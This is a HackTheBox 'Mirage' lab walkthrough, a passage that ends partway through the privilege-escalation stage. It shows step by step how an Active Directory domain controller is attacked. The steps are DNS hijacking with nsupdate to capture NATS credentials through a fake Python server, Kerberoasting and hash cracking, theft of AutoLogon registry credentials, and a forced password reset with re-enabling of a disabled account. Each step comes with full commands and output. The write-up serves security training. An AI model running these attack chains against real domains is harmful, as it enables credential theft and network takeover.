Mirage – HackTheBox Link to heading

  • OS: Windows
  • Difficulty: Hard
  • Platform: HackTheBox

Avatar mirage


Synopsis Link to heading

“Mirage” is a Hard machine from HackTheBox platform focused on Active Directory (AD) exploitation. In this box we will focus on Network Application Transfer Standard (NATS) explotation to obtain credentials for a domain, lateral movement on an AD environment, enable locked accounts and abuse Active directory Certificate Services blindly.


User Link to heading

We start with a quick Nmap scan looking for open TCP ports:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.221.181

We find multiple ports open. Among them we get: 53 DNS, 88 Kerberos, 135 Microsoft RPC, 389 LDAP, 445 SMB, 2049 Network File System (NFS), 4222 an unknown service for the moment, 5985 WinRM; among others:

❯ sudo nmap -sVC -p53,88,111,135,139,389,445,464,593,636,2049,3268,3269,4222,5985,9389,47001,49664,49665,49666,49667,49669,51454,52697,54595,54596,54612,56192,56212,61070 10.129.221.181

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 18:20 -04
Nmap scan report for 10.129.221.181
Host is up (0.45s latency).

PORT      STATE SERVICE         VERSION
53/tcp    open  domain          Simple DNS Plus
88/tcp    open  kerberos-sec    Microsoft Windows Kerberos (server time: 2025-07-21 05:20:49Z)
111/tcp   open  rpcbind?
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
135/tcp   open  msrpc           Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap            Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap        Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
2049/tcp  open  mountd          1-3 (RPC #100005)
3268/tcp  open  ldap            Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap        Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
4222/tcp  open  vrml-multi-use?
| fingerprint-strings:
|   GenericLines:
|     INFO {"server_id":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","server_name":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":462,"client_ip":"10.10.16.80","xkey":"XD7Y7PBV33TC3U6YPKLGSVHF3ENMZJR5VCRUA5YKLI3JJZA7EZ7HWIIO"}
<SNIP>
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 7h00m01s
| smb2-time:
|   date: 2025-07-21T05:21:54
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 392.53 seconds

From the output we can see Kerberos, Microsoft RPC, LDAP and SMB services which indicates we might be against an Active Directory (AD) domain.

We can also get information about the domain with NetExec against SMB service:

❯ nxc smb 10.129.221.181

SMB         10.129.221.181  445    dc01             [*]  x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)

We can see a machine name dc01 and a domain mirage.htb. Since dc01 could mean Domain Controller, this could be the Domain Controller of the AD domain.

We can also see from the last output NTLM: False, which could indicate that the domain has NTLM authentication disabled and it only accepts Kerberos for authentication.

Add the machine name (dc01), FQDN (dc01.mirage.htb) and domain (mirage.htb), along with the target IP address, to our /etc/host machine in our attacker machine:

❯ echo '10.129.221.181 dc01 dc01.mirage.htb mirage.htb' | sudo tee -a /etc/hosts

Additionally, we saw port 4222 open. Looking if this port is the default port for a service we get:

Info
Port 4222 is commonly associated with the Network Application Transfer Standard (NATS) messaging system. It is the default port used for client connections to a NATS server. Additionally, port 4222 can be used for real-time task pushes to assets in some systems.

NATS is the acronym for Network Application Transfer Standard:

Info
NATS or Network Application Transfer Standard, is a high-performance, open-source messaging system designed for cloud-native applications, IoT messaging, and microservices architectures.

We might come to this service later.

Since NFS service was exposed, we can check if there are some accessible resources. We can see if we have any using showmount command:

❯ showmount -e dc01.mirage.htb

Export list for dc01.mirage.htb:
/MirageReports (everyone)

We have a shared directory called /MirageReports. Since it has (everyone) flag, it means that any client (i.e., any IP address) is allowed to mount this shared directory.

Create a directory where we will mount the shared directory (which in my case I will call MiracleReportsExport):

❯ mkdir MirageReportsExport

And then use mount command to mount the shared directory:

❯ sudo mount -t nfs dc01.mirage.htb:/MirageReports ./MirageReportsExport -o nolock

This should have mounted the shared directory.

We can check the content of the shared directory MirageReports:

❯ cd MirageReportsExport

❯ ls -la

total 17493
drwxrwxrwx+ 2 nobody  nogroup      64 May 26 17:41 .
drwxrwxr-x  3 gunzf0x gunzf0x    4096 Jul 20 18:54 ..
-rwx------+ 1 nobody  nogroup 8530639 May 20 11:08 Incident_Report_Missing_DNS_Record_nats-svc.pdf
-rwx------+ 1 nobody  nogroup 9373389 May 26 17:37 Mirage_Authentication_Hardening_Report.pdf

We can see 2 PDF files.

To access these PDF file we can copy them from the shared directory to our attacker machine:

❯ sudo cp Incident_Report_Missing_DNS_Record_nats-svc.pdf Mirage_Authentication_Hardening_Report.pdf ..

and change the permissions of these files to allow us to read it:

❯ cd ..

❯ sudo chmod 777 Incident_Report_Missing_DNS_Record_nats-svc.pdf Mirage_Authentication_Hardening_Report.pdf

Before we forget, unmount the shared directory:

❯ sudo umount ./MirageReportsExport

Opening Incident_Report_Missing_DNS_Record_nats-svc.pdf file shows an issue where the development team was not able to resolve to the domain nats-svc.mirage.htb:

Mirage 1

The problem is basically that some services are attempting to connect to nats-svc.mirage.htb domain; but the system does not know where to resolve to this DNS and fails/return errors.

They also provides some evidence about it:

Mirage 2

Finally, in the same report they provide some Security Considerations:

Mirage 3

Security Consideration:

In development environments, fixed service names such as nats-svc.mirage.htb
are often hardcoded in applications. If the DNS record is missing, some apps
may still attempt to connect to that name. This behavior could be abused by
attackers if DNS records are hijacked.
The Security Team should monitor such cases closely to ensure no
unauthorized DNS responses are injected or spoofed in the network.

It clearly tells a hint about what we could attempt: hijack a DNS record so it resolves to our attacker machine. We have done something similar for this purpose at Ghost Machine.

On the other hand, the second file Mirage_Authentication_Hardening_Report.pdf shows what NetExec already has shown; NTLM authentication has been disabled and only Kerberos is accepted:

Mirage 4

We can check the content at port 4222 (which we have seen that is running NATS) with cURL:

❯ curl http://dc01.mirage.htb:4222/

curl: (1) Received HTTP/0.9 when not allowed

We get an error that can be easily fixed with --http0.9 flag:

❯ curl -s --http0.9 http://dc01.mirage.htb:4222/

INFO {"server_id":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","server_name":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":559,"client_ip":"10.10.16.80","xkey":"XD7Y7PBV33TC3U6YPKLGSVHF3ENMZJR5VCRUA5YKLI3JJZA7EZ7HWIIO"}
-ERR 'Authorization Violation'

But we get access denied.

We can then try the following: i) Create a simple Python script that emulates a NATS service and ii) Modify DNS records so the system resolves to our attacker IP address.

First, create the Python script that emulates the NATS server:

#!/usr/bin/python3
import socket


HOST: str = '0.0.0.0'
PORT: int = 4222


def run_fake_nats_server()->None:
    """
    Emulate a fake NATS server
    """
    print(f"[*] Fake NATS Server listening on {HOST}:{PORT}")
    # Create a socket that will handle the connection
    s = socket.socket()
    s.bind(("0.0.0.0", 4222))
    s.listen(5)
    # Start listening for a connection
    while True:
        client, addr = s.accept()
        try:
            print(f"[+] Connection from {addr}")
            # Send fake INFO (mandatory for handshake NATS)
            client.sendall(b'INFO {"server_id":"fake","version":"2.11.0","auth_required":true}\r\n')
            data = client.recv(1024)
            print("[+] Request received:")
            print(data.decode())
        except Exception as e:
            print(f"[-] Something happened:\n{e}")
        # Ensure to close the connection
        finally:
            client.close()


if __name__ == "__main__":
    run_fake_nats_server()

Second, in another terminal (not shutting down the fake NATS server/listener) modify DNS records with nsupdate:

❯ nsupdate

> server 10.129.221.181
> update add nats-svc.mirage.htb 3600 A 10.10.16.80
> send

where 10.129.221.181 is the victim machine and 10.10.16.80 is our attacker IP address.

After some seconds, we get a connection in our fake NATS server with Python:

❯ python3 fake_nats_server.py

[*] Fake NATS Server listening on 0.0.0.0:4222
[+] Connection from ('10.129.221.181', 50254)
[+] Request received:
CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7F5554fP@1337!","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":false,"no_responders":false}

We get a user Dev_Account_A and a password hx5h7F5554fP@1337!.

We can then attempt to access to NATS service. For this purposes, based on its official documentation, we can attempt to install it based on its official repository. In my case I will install the amd64.deb file:

❯ wget https://github.com/nats-io/natscli/releases/download/v0.2.4/nats-0.2.4-amd64.deb -q

and install it:

❯ sudo dpkg -i nats-0.2.4-amd64.deb

Once installed, we can attempt to access to NATS service with credentials obtained:

❯ nats --server nats://Dev_Account_A:'hx5h7F5554fP@1337!'@dc01.mirage.htb:4222  sub '>' --raw

nil body
{"type":"io.nats.jetstream.api.v1.stream_info_response","total":0,"offset":0,"limit":0,"config":{"name":"auth_logs","subjects":["logs.auth"],"retention":"limits","max_consumers":-1,"max_msgs":100,"max_bytes":1048576,"max_age":0,"max_msgs_per_subject":-1,"max_msg_size":-1,"discard":"new","storage":"file","num_replicas":1,"duplicate_window":120000000000,"compression":"none","allow_direct":true,"mirror_direct":false,"sealed":false,"deny_delete":true,"deny_purge":true,"allow_rollup_hdrs":false,"consumer_limits":{},"allow_msg_ttl":false,"metadata":{"_nats.level":"1","_nats.req.level":"0","_nats.ver":"2.11.3"}},"created":"2025-05-05T07:18:19.6244845Z","state":{"messages":5,"bytes":570,"first_seq":1,"first_ts":"2025-05-05T07:18:56.6788658Z","last_seq":5,"last_ts":"2025-05-05T07:19:27.2106658Z","num_subjects":1,"consumer_count":0},"cluster":{"leader":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ"},"ts":"2025-07-21T07:45:02.1485087Z"}
{"type":"io.nats.jetstream.advisory.v1.api_audit","id":"JY0m358Lqb1BG90redFVCz","timestamp":"2025-07-21T07:45:02.1485087Z","server":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","client":{"start":"2025-07-21T00:45:02.1472004-07:00","host":"dead:beef::88","id":649,"acc":"dev","user":"Dev_Account_A","name":"NATS CLI Version 0.2.2","lang":"go","ver":"1.41.1","rtt":539400,"server":"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ","kind":"Client","client_type":"nats"},"subject":"$JS.API.STREAM.INFO.auth_logs","response":"{\"type\":\"io.nats.jetstream.api.v1.stream_info_response\",\"total\":0,\"offset\":0,\"limit\":0,\"config\":{\"name\":\"auth_logs\",\"subjects\":[\"logs.auth\"],\"retention\":\"limits\",\"max_consumers\":-1,\"max_msgs\":100,\"max_bytes\":1048576,\"max_age\":0,\"max_msgs_per_subject\":-1,\"max_msg_size\":-1,\"discard\":\"new\",\"storage\":\"file\",\"num_replicas\":1,\"duplicate_window\":120000000000,\"compression\":\"none\",\"allow_direct\":true,\"mirror_direct\":false,\"sealed\":false,\"deny_delete\":true,\"deny_purge\":true,\"allow_rollup_hdrs\":false,\"consumer_limits\":{},\"allow_msg_ttl\":false,\"metadata\":{\"_nats.level\":\"1\",\"_nats.req.level\":\"0\",\"_nats.ver\":\"2.11.3\"}},\"created\":\"2025-05-05T07:18:19.6244845Z\",\"state\":{\"messages\":5,\"bytes\":570,\"first_seq\":1,\"first_ts\":\"2025-05-05T07:18:56.6788658Z\",\"last_seq\":5,\"last_ts\":\"2025-05-05T07:19:27.2106658Z\",\"num_subjects\":1,\"consumer_count\":0},\"cluster\":{\"leader\":\"NDA3QAL3ROIY3XXANNEHTYUUM5CZAVPCBQUSEKQNBSEH5QKFWKW3BRHQ\"},\"ts\":\"2025-07-21T07:45:02.1485087Z\"}"}

We can see an auth_logs stream. Based on official NATS documentation and this blog, we could attempt to read streams running:

nats stream view <stream>

Therefore, we view auth_logs stream:

❯ nats --server nats://Dev_Account_A:'hx5h7F5554fP@1337!'@dc01.mirage.htb:4222 stream view 'auth_logs'

[1] Subject: logs.auth Received: 2025-05-05 03:18:56
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}


[2] Subject: logs.auth Received: 2025-05-05 03:19:24
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}


[3] Subject: logs.auth Received: 2025-05-05 03:19:25
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}


[4] Subject: logs.auth Received: 2025-05-05 03:19:26
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}


[5] Subject: logs.auth Received: 2025-05-05 03:19:27
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}


20:50:18 Reached apparent end of data

We get a user david.jjackson and a password pN8kQmn6b86!1234@.

We can check with Kerbrute if this user exists in the domain:

❯ echo 'david.jjackson' > david_jjackson_name.txt

❯ kerbrute userenum -d mirage.htb --dc 10.129.221.181 david_jjackson_name.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 07/20/25 - Ronnie Flathers @ropnop

2025/07/20 20:56:36 >  Using KDC(s):
2025/07/20 20:56:36 >   10.129.221.181:88

2025/07/20 20:56:36 >  [+] VALID USERNAME:       david.jjackson@mirage.htb
2025/07/20 20:56:36 >  Done! Tested 1 usernames (1 valid) in 0.267 seconds

Since only Kerberos authentication is enabled, we can attempt to get a Ticket Granting Ticket (TGT) in behalf of david.jjackson user with getTGT.py from Impacket suite:

❯ impacket-getTGT mirage.htb/david.jjackson:'pN8kQmn6b86!1234@' -dc-ip 10.129.221.181

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

We get the error KRB_AP_ERR_SKEW(Clock skew too great).

To avoid this error, we can use faketime along with ntpdate and pass the previous command:

❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/david.jjackson:'pN8kQmn6b86!1234@' -dc-ip 10.129.221.181

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in david.jjackson.ccache

Since we have valid credentials, we can check if we have any Kerberoasteable users with impacket-GetUserSPNs:

❯ KRB5CCNAME=david.jjackson.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-GetUserSPNs mirage.htb/david.jjackson -k -no-pass -dc-ip 10.129.221.181 -dc-host dc01.mirage.htb -request

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName      Name          MemberOf                                                             PasswordLastSet             LastLogon                   Delegation
------------------------  ------------  -------------------------------------------------------------------  --------------------------  --------------------------  ----------
HTTP/exchange.mirage.htb  nathan.aadam  CN=Exchange_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb  2025-06-23 17:18:18.584667  2025-07-04 16:01:43.511763         



$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb/nathan.aadam*$9171d33b10880028a18a02b092848571$6b579b17698d6e0e6d322f9560e444034d713031ca28f1ec0ea18079078d332487419a50e174a576ed242b6e7b505baae305bb370e98edc66a9fe76833e5edea3ae80c6ac10faa4f5cb64339a40c82720add663b31be8b52b3cd48cf0204a2868dcaa8a99ab6d8fe18580ea217d1d79d4577bc1bffd17298aeab1e54428c02be320222f35aa5d55cdf03baae739d2cbabacac56287c7cb0d4cb7ea2acf7ba98f9d8af0a66959c2a7b5ba90b88b096966cda064cb44425bf87123a9288cab9fc5493873691dd2d3789524157d08ce07f7fcaea14b46df888de4044d1c18c30188317c5345e7d9fd47acc3ef292e7fd9c8ebafef57758028a2fe75aaa5e29023fee25fd39bb53f8d0de33455bf483f8404da8c181a9f26567d3331a1cfd5d603815ccdd9bc04e267250c80135d480c3b603198a72c7fd95bd38b86a4e8ee4357f1965d482059dd2c31c3aef6040ad27d9144a30d7328376800a3c45327c67a6e7fc48aff5bd2fa9c9eaa52013f29216a2f87b688058eba8662e531a006f2cb282a0d20cbf1a0339f96f241f667d5b3ee56f7a59a6a6bbc88c62570bd411c07e600716f716dc3a48c1008376f5dcc3c1e4be531058e398d77eb9e0fffb6bdb9a27cae2ce87e43a4eca43dc96f0d8fc748e7f6cbdcf51cf8230cf6a7f41cc00eb7f9fec9239c2cd867b357ab0d7d664adf6b4ec090521af376c252135adc4d996b8c99227466960e7eac60cb20764bda91828005282065706c61888f015b9ef1c631c757d1a365075dbbb6acf0bc9a34af347f1cffe71d7a5a3b53a13f0c5d83f4b52fefc6b6a07ab2ab16f0c1f8bd38667c439b5d5023131666a274cc054875c6108d1b8a89dc61f574836e6f0f78a89d1c560c672293d5a5f6a558ca8981b4f9dea9d680d4127512524b422657efa753483dcbdcf67c36da64e1ce1a7e52e63ffbc46a933347e83aff443fce32a2a3cc9aa7cbaf4a1c4550e5b2039a380b5c64a8a75c1dd6e727a9ce0318ae886f47111028c2f0f7c7c1b641034b61c819fc85deba6fdbe5d3ab91dd9c0a7b7aea630013058538808a101d5c18479a7624857ac8c8413b45962373f9e279d4cc678ccfdc09242c97599f404f96d25aec4e23c041b0f1c0f03ef2239cf4e3a72e3ef5f29e1385c12690328d858db3bfe926e59fd09605c8f2dbc2d53cee085d2d1c6bd60081e3a46c96bc77300b67f5922c7f96ad5a2f954b620bef0e8bf9746b1aaa84dca6126bc4fe3ff7df07a42d724d0d7825bf2dc996c2df0318f50264a5c46a604729ac5e141afc4b2e5299d5deae8222718f5f1684bbcf609afe3c877c121cf8d979419ddf8593633822d701ac05ab1e7d9df2c4e824c6fc97d51b93f7170fb2b7c46522e806e7c865685771c376d9bfb74f144462bb9120570ae6f2b77dc765caa8b86bab10d65a68bd3faca1d5e1690900aa59879fe55b47130a03e9cfd4170afb698f9ee76bccb72d885f29ceb535ce4bd59df80a8446868cc2937ca3f30fc908238956d4b364b21b63d384dc1c3e64531067158223f8dc64c0ea8eee3dbbf583ae9c39ce8f5b04c5

We get a hash. Save this hash into a file and then attempt a Brute Force Password Cracking with JohnTheRipper (john) along with rockyou.txt password dictionary:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt nathan_aadam_hash

Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
3edc#EDC3        (?)
1g 0:00:00:08 DONE (2025-07-20 22:01) 0.1218g/s 1518Kp/s 1518Kc/s 1518KC/s 3hackfu..3eb45ac9
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

We can also attempt to map the domain using david.jjackson TGT and using bloodhound-ce-python (since I am using Bloodhound Community Edition, or CE):

❯ KRB5CCNAME=david.jjackson.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodhound-ce-python -c ALL -u david.jjackson -k -no-pass -d mirage.htb -ns 10.129.221.181 --zip

INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: mirage.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.mirage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.mirage.htb
INFO: Found 12 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 21 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.mirage.htb
INFO: Done in 01M 06S
INFO: Compressing output into 20250721043420_bloodhound.zip

We upload then the generated .zip file to Bloodhound, where we can see that nathan.aadam user is part of IT_Admins group; group that is already part of Remote Management Users. This means that we can access to the victim machine as nathan.aadams user through WinRM service. For this purpose, first request a TGT as nathan.aadams user:

❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/nathan.aadam:'3edc#EDC3' -dc-ip 10.129.221.181

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in nathan.aadam.ccache

We can use NetExec to get a configuration file that will allow us to connect with evil-winrm (along with faketime and ntpdate to avoid clock issues):

❯ KRB5CCNAME=david.jjackson.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" nxc smb dc01.mirage.htb -k --use-kcache --generate-krb5-file /tmp/krb5.conf
SMB         dc01.mirage.htb 445    dc01             [*]  x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc01.mirage.htb 445    dc01             [+] MIRAGE.HTB\david.jjackson from ccache

Once we have generated the configuration file, copy it:

❯ cat /tmp/krb5.conf

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = MIRAGE.HTB

[realms]
    MIRAGE.HTB = {
        kdc = dc01.MIRAGE.HTB
        admin_server = dc01.MIRAGE.HTB
        default_domain = MIRAGE.HTB
    }

[domain_realm]
    .MIRAGE.HTB = MIRAGE.HTB
    MIRAGE.HTB = MIRAGE.HTB

❯ sudo cp /tmp/krb5.conf /etc/krb5.conf

And use the generated TGT for nathan.aadams to access as this user using evil-winrm:

❯ KRB5CCNAME=nathan.aadam.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" evil-winrm -i dc01.mirage.htb -r MIRAGE.HTB

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents>

We can grab the user flag at nathan.aadam’s Desktop.


NT Authority/System - Administrator Link to heading

We can search for AutoLogon credentials in the victim machine and we get something:

*Evil-WinRM* PS C:\Users\nathan.aadam> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | Select-String 'LastUsedUsername|DefaultPassword'

    LastUsedUsername    REG_SZ    mark.bbond
    DefaultPassword    REG_SZ    1day@atime

We get credentials for mark.bbond user. Looking at Bloodhound we can see that mark.bbond user is part of IT_Support group, group that has ForceChangePassword over javier.mmarshall user. At the same time, javier.mmarshall has ReadGMSAPassword over Mirage-Service$ account. In summary, the path shown by Bloodhound is:

Mirage 6

The plan is then:

  1. Since mark.bbond is part of IT_Support group, we can change javier.mmarshall password.
  2. Once we have changed javier.mmarshall password, we can abuse ReadGMSAPassword permission to read the mirage-service$NTLM hash.

First, request a TGT as mark.bbond user:

❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/mark.bbond:'1day@atime' -dc-ip 10.129.221.181

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in mark.bbond.ccache

And change the password for javier.mmarshall user as using mark.bbond’s TGT with bloodyAD:

❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k set password javier.mmarshall 'GunZF0x123$!'

[+] Password changed successfully!

Where we have set its new password to GunZF0x123$!.

Attempt to get a TGT as javier.marshall user:

❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/javier.mmarshall:'GunZF0x123$!' -dc-ip 10.129.221.181

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

We get KDC_ERR_CLIENT_REVOKED. Why?

If we check the account status for this account we can get that javier.mmarshall user has ACCOUNTDISABLE UAC as we can confirm with bloodyAD as well:

❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get object javier.mmarshall | grep -a userAccountControl

userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

or:

❯ KRB5CCNAME=nathan.aadam.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get object javier.mmarshall --attr lockoutTime,userAccountControl,userPrincipalName

distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
userPrincipalName: javier.mmarshall@mirage.htb

This can also be found going to Bloodhound, searching for javier.mmarshall user and check its Enlabled flag:

Mirage 7

Where we can see it is set to False (i.e., it is disabled).

Therefore, we can attempt to enable this account as using mark.bbond’s TGT:

❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k remove uac javier.mmarshall -f ACCOUNTDISABLE

[-] ['ACCOUNTDISABLE'] property flags removed from javier.mmarshall's userAccountControl

❯ KRB5CCNAME=nathan.aadam.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get object javier.mmarshall --attr lockoutTime,userAccountControl,userPrincipalName

distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
userPrincipalName: javier.mmarshall@mirage.htb

Nevertheless, we still get an error when we attempt to get a TGT as javier.mmarshall user:

❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/javier.mmarshall:'GunZF0x123$!' -dc-ip 10.129.221.181

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

In our session as nathan.aadam we can upload PowerView.ps1 and check properties for javier.marshall using Get-ADUser function:

*Evil-WinRM* PS C:\Users\nathan.aadam> upload PowerView.ps1

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Hard/Mirage/content/PowerView.ps1 to C:\Users\nathan.aadam\PowerView.ps1

Data: 1027036 bytes of 1027036 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\nathan.aadam> Import-Module .\PowerView.ps1

*Evil-WinRM* PS C:\Users\nathan.aadam> Get-ADUser javier.mmarshall -Properties *


AccountExpirationDate                :
accountExpires                       : 9223372036854775807
AccountLockoutTime                   :
AccountNotDelegated                  : False
AllowReversiblePasswordEncryption    : False
AuthenticationPolicy                 : {}
AuthenticationPolicySilo             : {}
BadLogonCount                        : 1
badPasswordTime                      : 133975685805021939
badPwdCount                          : 1
CannotChangePassword                 : True
CanonicalName                        : mirage.htb/Disabled/Users/javier.mmarshall
Certificates                         : {}
City                                 :
CN                                   : javier.mmarshall
codePage                             : 0
<SNIP>
LockedOut                            : False
logonCount                           : 13
logonHours                           : {0, 0, 0, 0...}
LogonWorkstations                    :
Manager                              :
MemberOf                             : {CN=IT_Contractors,OU=Groups,OU=Contractors,OU=IT_Staff,DC=mirage,DC=htb}
MNSLogonAccount                      : False
<SNIP>

Or more specifically, focusing on logonHours attribute:

*Evil-WinRM* PS C:\Users\nathan.aadam> Get-ADUser javier.mmarshall -Properties * | Select-Object -expand logonHours

0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0

